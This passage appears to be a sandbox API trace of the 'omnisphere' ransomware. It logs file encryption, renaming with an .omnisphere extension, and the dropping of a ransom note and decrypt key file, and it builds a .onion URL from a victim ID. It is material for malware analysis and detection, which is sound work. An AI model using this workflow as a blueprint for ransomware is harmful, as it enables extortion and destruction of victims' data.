pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.926] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.926] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.926] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.926] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.926] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.926] CryptDestroyKey (hKey=0x1639b68) returned 1 [0119.926] CryptReleaseContext (hProv=0x16689b0, dwFlags=0x0) returned 1 [0119.927] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x29c, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.927] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.927] GetProcessHeap () returned 0x1600000 [0119.927] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b6) returned 0x16be828 [0119.927] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dh -Ph0jPP6Vz0.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\dh -ph0jpp6vz0.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dh -Ph0jPP6Vz0.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\dh -ph0jpp6vz0.lnk.omnisphere")) returned 1 [0119.928] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dh -Ph0jPP6Vz0.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dh -Ph0jPP6Vz0.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dh -Ph0jPP6Vz0.lnk.omnisphere.id" [0119.928] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dh -Ph0jPP6Vz0.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\dh -ph0jpp6vz0.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.929] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.930] CloseHandle (hObject=0x3c0) returned 1 [0119.930] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.931] CloseHandle (hObject=0x288) returned 1 [0119.931] SetEndOfFile (hFile=0x28c) returned 1 [0119.931] FlushFileBuffers (hFile=0x28c) returned 1 [0119.975] CloseHandle (hObject=0x28c) returned 1 [0119.975] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dh -Ph0jPP6Vz0.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0119.975] GetProcessHeap () returned 0x1600000 [0119.975] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16beae8 [0119.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0119.975] GetProcessHeap () returned 0x1600000 [0119.975] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1d70 [0119.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1d70, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0119.975] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0119.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0119.975] GetProcessHeap () returned 0x1600000 [0119.975] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afd68 [0119.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afd68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0119.976] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0119.976] GetProcessHeap () returned 0x1600000 [0119.976] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x1630ea0 [0119.976] PathCombineW (in: pszDest=0x1630ea0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0119.976] GetProcessHeap () returned 0x1600000 [0119.976] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16b2e50 [0119.976] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.976] WriteFile (in: hFile=0x28c, lpBuffer=0x16b2e50*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16b2e50*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0119.976] CloseHandle (hObject=0x28c) returned 1 [0119.977] GetProcessHeap () returned 0x1600000 [0119.977] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16beae8 | out: hHeap=0x1600000) returned 1 [0119.977] GetProcessHeap () returned 0x1600000 [0119.977] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e2b8 [0119.977] PathCombineW (in: pszDest=0x162e2b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0119.977] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.977] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0119.977] CloseHandle (hObject=0x28c) returned 1 [0119.977] GetProcessHeap () returned 0x1600000 [0119.977] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e2b8 | out: hHeap=0x1600000) returned 1 [0119.977] GetProcessHeap () returned 0x1600000 [0119.977] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0119.977] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22999351, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22999351, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x22999351, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x331, dwReserved0=0x0, dwReserved1=0xd3, cFileName="DUv6 W1yQ.lnk", cAlternateFileName="DUV6W1~1.LNK")) returned 1 [0119.978] GetProcessHeap () returned 0x1600000 [0119.978] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9c) returned 0x1656ac0 [0119.978] PathCombineW (in: pszDest=0x1656ac0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="DUv6 W1yQ.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DUv6 W1yQ.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DUv6 W1yQ.lnk" [0119.978] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0119.978] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DUv6 W1yQ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\duv6 w1yq.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.978] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=817) returned 1 [0119.978] GetTickCount () returned 0x115df9e [0119.978] GetTickCount () returned 0x115df9e [0119.978] GetTickCount () returned 0x115df9e [0119.978] GetTickCount () returned 0x115df9e [0119.978] GetTickCount () returned 0x115df9e [0119.978] GetTickCount () returned 0x115df9e [0119.978] GetTickCount () returned 0x115df9e [0119.978] GetTickCount () returned 0x115df9e [0119.979] GetTickCount () returned 0x115df9e [0119.979] GetTickCount () returned 0x115df9e [0119.979] GetTickCount () returned 0x115df9e [0119.979] GetTickCount () returned 0x115df9e [0119.979] GetTickCount () returned 0x115df9e [0119.979] GetTickCount () returned 0x115df9e [0119.979] GetTickCount () returned 0x115df9e [0119.979] GetTickCount () returned 0x115df9e [0119.979] GetTickCount () returned 0x115df9e [0119.979] GetTickCount () returned 0x115df9e [0119.979] GetTickCount () returned 0x115df9e [0119.979] GetTickCount () returned 0x115df9e [0119.979] GetTickCount () returned 0x115df9e [0119.979] GetTickCount () returned 0x115df9e [0119.979] GetTickCount () returned 0x115df9e [0119.979] GetTickCount () returned 0x115df9e [0119.979] GetTickCount () returned 0x115df9e [0119.979] GetTickCount () returned 0x115df9e [0119.979] GetTickCount () returned 0x115df9e [0119.979] GetTickCount () returned 0x115df9e [0119.979] GetTickCount () returned 0x115df9e [0119.979] GetTickCount () returned 0x115df9e [0119.979] GetTickCount () returned 0x115df9e [0119.979] GetTickCount () returned 0x115df9e [0119.979] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16683d8) returned 1 [0119.980] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0119.980] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.980] CryptDestroyKey (hKey=0x1639b28) returned 1 [0119.980] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0119.980] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x331, lpName=0x0) returned 0x288 [0119.981] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x331) returned 0x1480000 [0119.981] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16688a0) returned 1 [0119.982] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0119.982] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.982] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.982] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.982] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.982] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.982] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.982] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.982] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.982] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.982] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.982] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.982] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.982] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.982] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.982] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.982] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.983] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.983] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.983] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.983] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.983] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.983] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.983] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.983] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.983] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.983] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.983] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.983] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.983] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.983] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.983] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.983] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.983] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.983] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.983] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.984] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.984] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.984] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.984] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.984] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.984] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.984] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.984] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.984] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.984] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.984] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.984] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.984] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.984] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.984] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.984] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: 